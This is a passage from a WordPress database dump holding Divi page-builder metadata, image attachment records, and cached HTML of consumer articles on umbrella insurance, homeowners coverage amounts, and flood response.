ype\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:21:\"My-Post-1-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:21:\"My-Post-1-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:21:\"My-Post-1-480x480.png\";s:5:\"width\";i:480;s:6:\"height\";i:480;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(1723,664,'_edit_lock','1650932251:1'),(1724,664,'_edit_last','1'),(1725,664,'_et_pb_post_hide_nav','default'),(1726,664,'_et_pb_page_layout','et_right_sidebar'),(1727,664,'_et_pb_side_nav','off'),(1728,664,'_et_pb_use_builder','on'),(1729,667,'_wp_attached_file','2020/08/My-Post-2.png'),(1730,667,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:720;s:6:\"height\";i:720;s:4:\"file\";s:21:\"2020/08/My-Post-2.png\";s:5:\"sizes\";a:8:{s:6:\"medium\";a:4:{s:4:\"file\";s:21:\"My-Post-2-300x300.png\";s:5:\"width\";i:300;s:6:\"height\";i:300;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:21:\"My-Post-2-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:21:\"My-Post-2-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:21:\"My-Post-2-720x675.png\";s:5:\"width\";i:720;s:6:\"height\";i:675;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:21:\"My-Post-2-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:21:\"My-Post-2-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:21:\"My-Post-2-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:21:\"My-Post-2-480x480.png\";s:5:\"width\";i:480;s:6:\"height\";i:480;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(1731,664,'_et_pb_built_for_post_type','page'),(1732,664,'_et_pb_ab_subjects',''),(1733,664,'_et_pb_enable_shortcode_tracking',''),(1734,664,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"664\" /]'),(1735,664,'_et_pb_custom_css',''),(1736,664,'_et_pb_gutter_width','3'),(6982,664,'classic-editor-remember','block-editor'),(1738,664,'_et_pb_first_image',''),(1739,664,'_et_pb_truncate_post',''),(1740,664,'_et_pb_truncate_post_date',''),(1741,664,'_et_builder_version','VB|Divi|4.0.9'),(1742,664,'_et_pb_show_page_creation','off'),(1743,670,'_edit_lock','1597701179:1'),(1744,670,'_edit_last','1'),(1745,670,'_et_pb_post_hide_nav','default'),(1746,670,'_et_pb_page_layout','et_right_sidebar'),(1747,670,'_et_pb_side_nav','off'),(1748,670,'_et_pb_use_builder','on'),(1749,670,'_et_pb_built_for_post_type','page'),(1750,670,'_et_pb_ab_subjects',''),(1751,670,'_et_pb_enable_shortcode_tracking',''),(1752,670,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"670\" /]'),(1753,670,'_et_pb_custom_css',''),(1754,670,'_et_pb_gutter_width','3'),(1755,670,'_thumbnail_id',''),(1756,670,'_et_pb_first_image',''),(1757,670,'_et_pb_truncate_post',''),(1758,670,'_et_pb_truncate_post_date',''),(1759,670,'_et_builder_version','VB|Divi|4.0.9'),(1760,670,'_et_pb_show_page_creation','off'),(1761,675,'_edit_lock','1597701422:1'),(1762,675,'_edit_last','1'),(1763,675,'_et_pb_post_hide_nav','default'),(1764,675,'_et_pb_page_layout','et_right_sidebar'),(1765,675,'_et_pb_side_nav','off'),(1766,675,'_et_pb_use_builder','on'),(1767,675,'_et_pb_built_for_post_type','page'),(1768,675,'_et_pb_ab_subjects',''),(1769,675,'_et_pb_enable_shortcode_tracking',''),(1770,675,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"675\" /]'),(1771,675,'_et_pb_custom_css',''),(1772,675,'_et_pb_gutter_width','3'),(1773,675,'_thumbnail_id',''),(1774,675,'_et_pb_first_image',''),(1775,675,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_3 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_6\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Umbrella Insurance</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_7\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>Standard homeowners policies include liability coverage, to help pay medical expenses and legal costs when someone sustains an injury in your home or if you’re liable for damage to a neighbor’s property. But some policies don’t provide enough protection, especially if your home has features that may increase your liability risk.Umbrella insurance provides a second layer of liability protection. An umbrella policy picks up where your limited liability coverage ends. You can purchase an umbrella policy with $1 million or more in liability protection to ensure your assets remain safe when disaster strikes. Best of all, umbrella insurance is relatively cheap, offering an affordable way to maximize your protection.</p>\n<p>What is umbrella insurance and how does it work?<br />\nHomeowners liability usually covers the medical expenses of people outside your household when they sustain an injury on your property. If the victim sues you, your liability coverage will help pay your legal costs too. Liability coverage also pays for the property damage of others when you’re at fault. For example, if your lawnmower throws a rock and breaks your neighbor’s window, your liability coverage will help pay the repair bill.<br />\nUmbrella insurance provides extra protection when your homeowners liability coverage falls short. It’s designed to cover costs that exceed the liability limits of your home insurance policy.<br />\nMost standard home insurance policies provide default liability coverage of $100,000 to $300,000. Typically, insurers allow you to increase your liability coverage limit. Even so, some homeowners need more protection than standard homeowners liability can provide.<br />\nFor instance, if you own a swimming pool and like to entertain guests, you could face serious medical and legal costs if someone sustains a serious injury or drowns. If you need $1 million or more in liability protection, you’ll need an umbrella insurance policy.<br />\nAn umbrella policy can also protect properties you use but don’t own. For example, if you rent a home for summer vacation and accidentally burn down the deck while barbecuing, your umbrella policy may pay to rebuild it.</p>\n<p>What does an umbrella policy cover?<br />\nAn umbrella policy can save the day when you face costly liability, but it’s important to understand exactly what it does and does not cover. Most umbrella policies will cover:</p>\n<p>Bodily injury: Hosting guests in your home increases your risk of an accident. If a guest takes a tumble down your stairs and breaks a leg, your homeowners liability coverage will likely cover the medical costs. But if the victim falls into a lengthy coma and later sues you for pain and suffering, you’ll probably need to rely on the extra coverage provided in your umbrella policy.<br />\nLandlord liability: Some umbrella policies provide a certain level of coverage for landlords. For instance, if you rent a garage apartment to a tenant who sustains an injury when the apartment’s balcony collapses, your umbrella coverage may help pay medical expenses and legal costs.<br />\nProperty damage: Standard home insurance can cover most property damage disasters. For instance, if a limb from your tree falls and smashes your neighbor’s fence, your regular homeowners coverage will cover the repairs. But if the entire tree crashes through your neighbor’s home, causing hundreds of thousands of dollars in losses, you may need to rely on your umbrella coverage to pay the cost of restoring the house to its previous state and replacing damaged personal property, like furniture or appliances.<br />\nPersonal injury: Personal injury protection covers legal expenses when someone sues you for libel, slander or wrongful eviction. The liability coverage in some homeowners policies provides some personal injury protection. If the cost of a lawsuit exceeds the limit of your home insurance policy, your umbrella insurance will kick in to help cover the additional costs.</p>\n<p>In general, it covers past the limits of your typical policy.<br />\nWhat is not covered by an umbrella policy?<br />\nThere are some kinds of damages not covered by umbrella policies:</p>\n<p>Business losses: An umbrella policy won’t cover your home office property. Likewise, umbrella insurance won’t cover lawsuits filed against your home-based business. You could, however, purchase business insurance that includes liability coverage.<br />\nLosses caused by criminal acts: Like the liability coverage of your home insurance policy, an umbrella policy won’t cover losses caused by illegal activity. For instance, if a policyholder operates an illegal, homemade fireworks business and an accidental explosion burns down a neighbor’s home, the insurer won’t pay a claim.<br />\nPersonal belongings: The personal property coverage of your homeowners policy will pay to replace your belongings, like clothing and furniture, following a covered loss, but an umbrella policy won’t. Umbrella insurance only covers the personal belongings of others when you’re at fault for a loss.<br />\nOral or written contracts: If a contractor sues you for not honoring the terms of an oral or written contract, your umbrella policy likely won’t cover your legal expenses. Likewise, if a legal dispute involves a home-based business, an umbrella policy won’t pay court costs or attorney’s fees.</p>\n<p>Before you take out a policy, make sure it will cover the things you want protection for.</p>\n<p>How much does umbrella insurance cost?<br />\nMany carriers offer umbrella insurance as an optional coverage. Often, you can add umbrella coverage when you purchase a home insurance policy. If you already have a policy, ask your agent if the insurer sells the coverage.<br />\nSome premium homeowners policies enable you to increase your liability limit to $1 million or more, which may eliminate the need for umbrella insurance. For instance, Chubb’s standard home insurance policies provide personal liability protection up to $100 million.<br />\nAccording to the Insurance Information Institute, a $1 million umbrella policy costs $150 to $300 annually. However, the cost of insurance varies by location, along with factors such as your home’s age and construction, safety and security features and your age and claims history.</p>\n<p>Is umbrella coverage worth it?<br />\nMost homeowners can benefit from the added liability protection of an umbrella policy. In standard homeowners policies, default medical payments to others limits usually range from $1,000 to $2,500.<br />\nAlthough most insurers allow you to raise limits, you still might not have enough coverage to pay all the medical bills a guest may sustain. For instance, medical bills for a broken leg can run $7,500 and a three-day hospital stay can cost $30,000. If the injured person sues you, attorney fees, court costs and a settlement can cost hundreds of thousands of dollars.<br />\nGenerally, you should consider an umbrella policy if your home or property has any type of element that poses greater liability risks. Homes with amenities such as hot tubs, swimming pools, trampolines and treehouses should have umbrella coverage because they increase your liability risk. Even if you don’t entertain guests often, an uninvited visitor may enter your property and sustain an injury, for which the law may find you liable.<br />\nIf your property has any of these features, ask your insurance agent if your home insurance policy provides adequate protection. Also inquire about precautions you must take, like adding a fence around a pool, installing a pool alarm or adding a lockable cover to a hot tub. Chances are, your agent will advise you to purchase an umbrella policy.<br />\nHomeowners who have a home office in which they see clients may also need an umbrella policy. Some standard homeowners policies won’t cover medical and legal costs associated with a business associate visiting your home office. When inquiring about an umbrella policy, make sure it covers this type of risk. If it doesn’t, you likely need to purchase business insurance.<br />\nIf your yard has tall trees, you likely need an umbrella policy. Trees often topple during storms or fall due to rot or saturated soil. A downed tree can cause serious damage to a neighbor’s home, so protect your assets with umbrella insurance.<br />\nIn some cases, increasing the limit on your standard home insurance policy will provide enough coverage. Some premium homeowners policies offer liability limits up to $1 million or more.<br />\nExcess liability policies offer an alternative to umbrella insurance. With an excess liability policy, you can increase your liability above the maximum limit allowed in your standard home insurance policy. However, excess liability policies only cover the same risks as your standard liability coverage. Many umbrella policies cover more risks, offering more protection.</p>\n<p>Frequently asked questions</p>\n<p>How much does umbrella insurance cost?<br />\nYou can purchase a $1 million umbrella policy for a few hundred dollars per year. The cost of a policy can depend on many factors, including your home’s safety and security features, it’s age and construction and your insurance claims history.<br />\nShould I purchase umbrella coverage if my home has a swimming pool?<br />\nHome features such as swimming pools, fire pits, hot tubs and treehouses increase your liability risk. If you or one of your family members sustains an injury on your property, you can rely on your health insurance to help cover the costs. But if a guest sustains an injury in your home, you’ll need adequate liability coverage. Umbrella insurance can help cover medical expenses and legal costs.<br />\nMy home insurance policy includes liability coverage, so why do I need umbrella insurance?<br />\nLiability coverage only provides a limited amount of protection. Most standard homeowners policies provide default limits of $100,000 to $300,000. Usually, you can increase your liability limit, but it won’t provide the level of coverage offered by an umbrella policy. Umbrella insurance can provide $1 million or more in coverage and many cover more risks than a standard home insurance policy.</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(1776,675,'_et_pb_truncate_post_date','2020-10-05 03:10:17'),(1777,675,'_et_builder_version','VB|Divi|4.0.9'),(1778,675,'_et_pb_show_page_creation','off'),(1779,681,'_edit_lock','1597702852:1'),(1780,681,'_edit_last','1'),(1781,681,'_et_pb_post_hide_nav','default'),(1782,681,'_et_pb_page_layout','et_right_sidebar'),(1783,681,'_et_pb_side_nav','off'),(1784,681,'_et_pb_use_builder','on'),(1785,681,'_et_pb_built_for_post_type','page'),(1786,681,'_et_pb_ab_subjects',''),(1787,681,'_et_pb_enable_shortcode_tracking',''),(1788,681,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"681\" /]'),(1789,681,'_et_pb_custom_css',''),(1790,681,'_et_pb_gutter_width','3'),(1791,681,'_thumbnail_id',''),(1792,681,'_et_pb_first_image',''),(1793,681,'_et_pb_truncate_post',''),(1794,681,'_et_pb_truncate_post_date',''),(1795,681,'_et_builder_version','VB|Divi|4.0.9'),(1796,681,'_et_pb_show_page_creation','off'),(1797,686,'_edit_lock','1597703404:1'),(1798,686,'_edit_last','1'),(1799,686,'_et_pb_post_hide_nav','default'),(1800,686,'_et_pb_page_layout','et_right_sidebar'),(1801,686,'_et_pb_side_nav','off'),(1802,686,'_et_pb_use_builder','on'),(1803,686,'_et_pb_built_for_post_type','page'),(1804,686,'_et_pb_ab_subjects',''),(1805,686,'_et_pb_enable_shortcode_tracking',''),(1806,686,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"686\" /]'),(1807,686,'_et_pb_custom_css',''),(1808,686,'_et_pb_gutter_width','3'),(1809,686,'_thumbnail_id',''),(1810,686,'_et_pb_first_image',''),(1811,686,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_2 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_4\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">How Much Homeowners Insurance Do I Need?</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_5\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>Homeowners insurance protects what may be one of the biggest investments of your life: Your residential property. But if you don’t buy sufficient coverage, your protection falls short, leaving you on the hook for huge repair bills or facing an expensive lawsuit.<br />\nBut how do you know how much homeowners insurance you need? The key is to walk through each standard coverage in your policy, adjust amounts as needed and then consider extra coverage to plug big holes. Here’s how to do that.</p>\n<p>Choosing the Right Dwelling Coverage<br />\n“Dwelling” essentially means your house structure. The insurer will pay to rebuild the house if it’s destroyed, or make repairs, after problems such as fire, hail and lightning.<br />\nImportant to note: Rebuilding and repair costs are paid up to your coverage limit. If your dwelling was underinsured, you won’t receive enough insurance money to fully rebuild it.<br />\nStandard Dwelling Coverage<br />\nDwelling coverage should be based on the cost in your area to rebuild the house, based on local construction and materials costs. Unless you have a builder in the family, you can’t possibly know this number, but your home insurance company can provide an estimate.<br />\nDwelling coverage limits should be updated regularly, every year if needed, to reflect changing local labor and materials costs.<br />\nStandard homeowners insurance policies today will cover the house structure for any problem except damage that is specifically excluded. These exclusions are listed in the policy and generally include floods, earthquakes, nuclear hazards, mold and other issues.<br />\nBuying Better Dwelling Coverage<br />\nHaving sufficient dwelling coverage to rebuild your house is the foundation of a good homeowners insurance policy. But there are times when even the “right” amount of coverage can fall short. For example, after widespread disasters, especially, such as a tornado, the cost the materials and labor can shoot up due to demand. That’s where coverage that allows wiggle room is useful.<br />\nExtended replacement cost: Some (but not all) home insurance companies offer extended replacement cost. This feature can provide anywhere from 10% to 50%—or more—of extra coverage to absorb a cost spike. PURE, for example, provides an additional 100% for extended replacement coverage in its policies for high-value homes.<br />\nInsurers offering “extended replacement cost” include:</p>\n<p>Chubb<br />\nCOUNTRY Financial<br />\nErie Insurance<br />\nGrange Insurance<br />\nLemonade<br />\nPURE<br />\nQBE Insurance</p>\n<p>Guaranteed replacement cost coverage is even better because it pays to rebuild your house no matter how much building costs have gone up.<br />\nInsurers offering “guaranteed replacement cost” (and usually also extended replacement cost) include:</p>\n<p>Acuity, A Mutual Insurance Co.<br />\nAIG<br />\nCentral Mutual<br />\nCincinnati Insurance<br />\nErie Insurance<br />\nFarmers<br />\nThe Hanover<br />\nNationwide<br />\nPalisades Property &amp; Casualty<br />\nWest Bend Mutual Insurance</p>\n<p>Availability of extended and guaranteed replacement cost can vary by company, state, policy type and even by house type.<br />\nChoosing the Right Contents Coverage<br />\nYour contents coverage reimburses you for the contents of your home that are damaged or destroyed. This encompasses your furniture, decorations, clothes, electronics, toys and appliances.<br />\nReplacement Value for Better Protection<br />\nWhile some policies offer “actual cash value” coverage, you generally want to have “replacement cost” coverage. This reimburses you for the cost of buying new items, not the depreciated value of what was destroyed.<br />\nAdjusting Your Contents Coverage<br />\nMost home insurance policies will default to a percentage of the dwelling coverage to determine contents coverage. This default could be 50% of the dwelling insurance. If you had $300,000 in dwelling coverage, this would provide $150,000 for replacing belongings. You may find this insufficient when you consider all the furniture, rugs, clothes and other items you would want to replace.<br />\nYou can adjust your contents coverage upward to get better insurance protection.<br />\nTheft Limits<br />\nMany standard policies also limit theft coverage on certain items, such as jewelry, watches, precious and semiprecious stones, and silverware. For example, a standard home insurance policy typically limits theft of jewelry to $1,500 in coverage. To account for this, you can “schedule” expensive items in order to get full coverage.<br />\n“Open Peril” Coverage for Belongings<br />\nCommon home insurance policies cover damage to contents from 16 “perils,” which are listed in the policy. These perils include all the problems you’d expect, such as fire, lightning and explosions. But limiting coverage to 16 perils leaves you open to a potential gap in coverage.<br />\nInstead, buy a comprehensive policy that provides “open peril” or “all peril” coverage on your contents, for better protection.<br />\n“The comprehensive peril plan works in the customer’s favor,” says Bob Buckel, vice president of product management at Erie Insurance.<br />\nGetting Better Liability Insurance<br />\nHomeowners often focus their attention on coverage for their property within a home insurance policy. But just as important is your liability coverage.<br />\nLiability insurance pays lawsuit judgments and settlements against you if you’re sued over injuries or property damage accidentally caused by you, a family member or a pet. It also covers legal defense costs. For example, if someone sues you over a bite from your dog, liability insurance covers you.<br />\nA homeowners policy might default to only $100,000 in liability coverage. But if you face an expensive lawsuit, this amount is not adequate.<br />\n“We recommend having enough liability coverage to at least cover your assets,” says Buckel of Erie Insurance. “Therefore, let’s say [you have] a $200,000 house, a nice car, and some money in the bank, you may want to buy at least $300,000 in coverage to protect your assets.”<br />\nGetting ample liability coverage is easy by buying an umbrella insurance policy. Umbrella insurance provides extra liability coverage above both your homeowners and auto insurance policies. Because you can buy umbrella coverage worth millions of dollars, you can properly cover your net worth.<br />\nGetting Sufficient Loss of Use Coverage<br />\nIf you can’t live in your home while it’s being repaired due to a claim, loss of use coverage, also called additional living expenses coverage, will reimburse you for the extra costs of living elsewhere. It may reimburse you for loss of rent income if you rent a portion of the home.<br />\nThe default coverage for loss of use could be 20% of the dwelling coverage. When you think about the extra costs for a hotel and restaurants, that might not be enough. You can increase your loss of use coverage.<br />\nBetter Home Insurance At a Glance</p>\n<p>Coverage type<br />\nStandard<br />\nBetter</p>\n<p>Dwelling</p>\n<p>Replacement cost</p>\n<p>Extended or guaranteed replacement cost</p>\n<p>Contents</p>\n<p>-50% of the dwelling amount<br />\n-Coverage for 16 perils</p>\n<p>-Increased coverage if needed<br />\n-“All perils” coverage</p>\n<p>Jewelry, watches, silverware, etc.</p>\n<p>Limited theft coverage, no coverage for accidentally losing the item</p>\n<p>Scheduled personal property coverage for full value and accidental loss</p>\n<p>Liability</p>\n<p>As low as $100,000</p>\n<p>At least $300,000, plus an umbrella insurance policy</p>\n<p>Loss of use</p>\n<p>20% of dwelling coverage</p>\n<p>Increase coverage if desired</p>\n<p>Flood or earthquake insurance</p>\n<p>Not included</p>\n<p>Add if needed</p>\n<p>Natural Disasters Not Covered by Home Insurance<br />\nSome disasters require extra coverage, such as floods and earthquakes. Both of these are generally excluded from home insurance coverage.</p>\n<p>Flood insurance is available through FEMA and private flood insurance companies.<br />\nEarthquake insurance is offered by many home insurers. In California, many insurers offer policies from the California Earthquake Authority.<br />\nIn some coastal areas, such as coastal Texas, homeowners must buy windstorm coverage separately from home insurance.</p>\n<p>Additional Coverage You May Need<br />\nDepending on your situation, you may need additional coverage that’s not included in a standard policy. This can usually be done with add-ons and endorsements to your base policy.<br />\nHome business coverage. If you run a business out of your home, especially where customers come and go, you likely need business liability and business asset coverage. For example, if a customer is injured in your home office, you would need business liability insurance.<br />\nIdentity theft. It can be expensive to recover from identity theft or being hacked. Floyd Yager, senior vice president of product management at Allstate, notes that cybercrime and identity theft are common exclusions in a homeowners policy.<br />\n“If your identity is stolen and they take funds out of your bank account, your homeowners insurance policy will not cover the loss,” he says.<br />\nIdentity theft insurance is commonly available from home insurers. It reimburses you for money lost from these problems. For example, Allstate offers an identity theft endorsement that reimburses up to $25,000, for $30 annually (depending on the state).<br />\nMore Home Insurance Extras<br />\nHome insurance companies often offer a wide variety of endorsements to fill other coverage gaps. Depending on the company, you might be able to add on:</p>\n<p>Increased coverage for landscaping<br />\nService line coverage<br />\nIncreased coverage for ordinance or law (when rebuilding triggers the need to comply with a new law, such as new building codes)<br />\nInflation guard (keeps dwelling coverage up to date with the costs to rebuild)<br />\nBed bug coverage<br />\nHome day care coverage<br />\nHome systems breakdown coverage<br />\nWater backup and sump overflow</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(1812,686,'_et_pb_truncate_post_date','2021-03-16 03:26:50'),(1813,686,'_et_builder_version','VB|Divi|4.0.9'),(1814,686,'_et_pb_show_page_creation','off'),(1815,691,'_edit_lock','1597703703:1'),(1816,691,'_edit_last','1'),(1817,691,'_et_pb_post_hide_nav','default'),(1818,691,'_et_pb_page_layout','et_right_sidebar'),(1819,691,'_et_pb_side_nav','off'),(1820,691,'_et_pb_use_builder','on'),(1821,691,'_et_pb_built_for_post_type','page'),(1822,691,'_et_pb_ab_subjects',''),(1823,691,'_et_pb_enable_shortcode_tracking',''),(1824,691,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"691\" /]'),(1825,691,'_et_pb_custom_css',''),(1826,691,'_et_pb_gutter_width','3'),(1827,691,'_thumbnail_id',''),(1828,691,'_et_pb_first_image',''),(1829,691,'_et_pb_truncate_post',''),(1830,691,'_et_pb_truncate_post_date',''),(1831,691,'_et_builder_version','VB|Divi|4.0.9'),(1832,691,'_et_pb_show_page_creation','off'),(1833,698,'_edit_lock','1597704025:1'),(1834,698,'_edit_last','1'),(1835,698,'_et_pb_post_hide_nav','default'),(1836,698,'_et_pb_page_layout','et_right_sidebar'),(1837,698,'_et_pb_side_nav','off'),(1838,698,'_et_pb_use_builder','on'),(1839,701,'_wp_attached_file','2020/08/My-Post-3.png'),(1840,701,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:720;s:6:\"height\";i:720;s:4:\"file\";s:21:\"2020/08/My-Post-3.png\";s:5:\"sizes\";a:8:{s:6:\"medium\";a:4:{s:4:\"file\";s:21:\"My-Post-3-300x300.png\";s:5:\"width\";i:300;s:6:\"height\";i:300;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:21:\"My-Post-3-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:21:\"My-Post-3-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:21:\"My-Post-3-720x675.png\";s:5:\"width\";i:720;s:6:\"height\";i:675;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:21:\"My-Post-3-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:21:\"My-Post-3-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:21:\"My-Post-3-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:21:\"My-Post-3-480x480.png\";s:5:\"width\";i:480;s:6:\"height\";i:480;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(1841,698,'_et_pb_built_for_post_type','page'),(1842,698,'_et_pb_ab_subjects',''),(1843,698,'_et_pb_enable_shortcode_tracking',''),(1844,698,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"698\" /]'),(1845,698,'_et_pb_custom_css',''),(1846,698,'_et_pb_gutter_width','3'),(1847,698,'_thumbnail_id',''),(1848,698,'_et_pb_first_image',''),(1849,698,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_2 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_4\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">What to do if your house floods</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_5\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Floods are the most common natural disaster in the United States. And climate change is projected to make the problem worse: Future floods are expected to be bigger and more frequent across the region.<br />\nNearby, property owners in New Jersey and Delaware face some of the highest risks in the nation for flooding over the next few decades, according to First Street Foundation. The nonprofit, focusing on flood risk research, says that&#8217;s thanks to rising temperatures in the atmosphere and oceans causing hurricanes to reach farther north.<br />\nIf your house floods, no matter when it happens, you can rest assured you&#8217;re not the only one dealing with this. Here&#8217;s what to do about it:<br />\nHere&#8217;s the reality: If you have one inch of water in your home, fixing the damage can cost about $27,000, says the Federal Emergency Management Agency. Flood insurance can help. Experts recommend buying flood insurance if you own a home, no matter where you live. More than 20% of flood claims come from properties outside high-risk flood zones, FEMA reports, and most homeowners and renters insurance doesn&#8217;t cover flood damage.<br />\nBut remember, it&#8217;s not just weather that causes flooding. Plumbing problems and clogged gutters can cause floods, too. But, the good news: Your homeowners insurance will take care of some of this. Most policies cover sudden water damage, like an unexpected broken pipe. The exception: Damage caused by lack of maintenance, like a slow leak that&#8217;s been trickling for weeks, isn&#8217;t typically covered.<br />\nDepending on the source and severity of the flood, you may need to relocate immediately and deal with the damage 